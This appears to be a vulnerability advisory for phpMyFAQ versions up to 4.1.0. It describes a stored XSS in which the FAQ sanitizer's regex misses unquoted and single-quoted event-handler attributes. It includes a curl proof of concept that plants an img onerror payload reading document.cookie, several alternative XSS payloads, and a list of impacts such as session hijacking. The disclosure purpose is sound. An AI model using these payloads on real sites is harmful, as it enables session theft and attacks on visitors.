نسخههای متأثر
- نسخههای متأثر
- <= 4.1.0
- نسخهٔ اصلاحشده
- 4.1.1
بهرهبرداری
شرح آسیبپذیری
Summary
The sanitization pipeline for FAQ content is:
Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)— encodes<,>,",',&to HTML entitieshtml_entity_decode($input, ENT_QUOTES | ENT_HTML5)— decodes entities back to charactersFilter::removeAttributes($input)— removes dangerous HTML attributes
The removeAttributes() regex at line 174 only matches attributes with double-quoted values:
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
This regex does NOT match:
Attributes with single quotes:
onerror='alert(1)'Attributes without quotes:
onerror=alert(1)
An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174
Sanitization flow for FAQ question field:
FaqController::create() lines 110, 145-149:
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
(string) $question,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
Template rendering: faq.twig line 36:
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
How the bypass works:
Attacker submits:
<img src=x onerror=alert(1)>After
FILTER_SANITIZE_SPECIAL_CHARS:<img src=x onerror=alert(1)>After
html_entity_decode():<img src=x onerror=alert(1)>preg_match_all('/[a-z]+=".+"/iU', ...)runs:The regex requires
="..."(double quotes)onerror=alert(1)has NO quotes → NOT matchedsrc=xhas NO quotes → NOT matchedNo attributes are found for removal
Output:
<img src=x onerror=alert(1)>(XSS payload intact)Template renders with
|raw: JavaScript executes in browser
Why double-quoted attributes are (partially) protected:
For <img src="x" onerror="alert(1)">:
The regex matches both
src="x"andonerror="alert(1)"srcis in$keep→ preservedonerroris NOT in$keep→ removed viastr_replace()Output:
<img src="x">(safe)
But this protection breaks with single quotes or no quotes.
PoC
Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=admin_session' \
-d '{
"data": {
"pmf-csrf-token": "valid_csrf_token",
"question": "<img src=x onerror=alert(document.cookie)>",
"answer": "Test answer",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "test",
"author": "test",
"email": "test@test.com"
}
}'
Step 2: XSS triggers on public FAQ page
Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html
The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).
Alternative payloads:
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Impact
Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
Session hijacking: Steal session cookies of all users viewing the FAQ.
Phishing: Display fake login forms to steal credentials.
Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
Malware distribution: Redirect users to malicious sites.
Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.
پیوندها
گزارشدهندگان
- ik0z

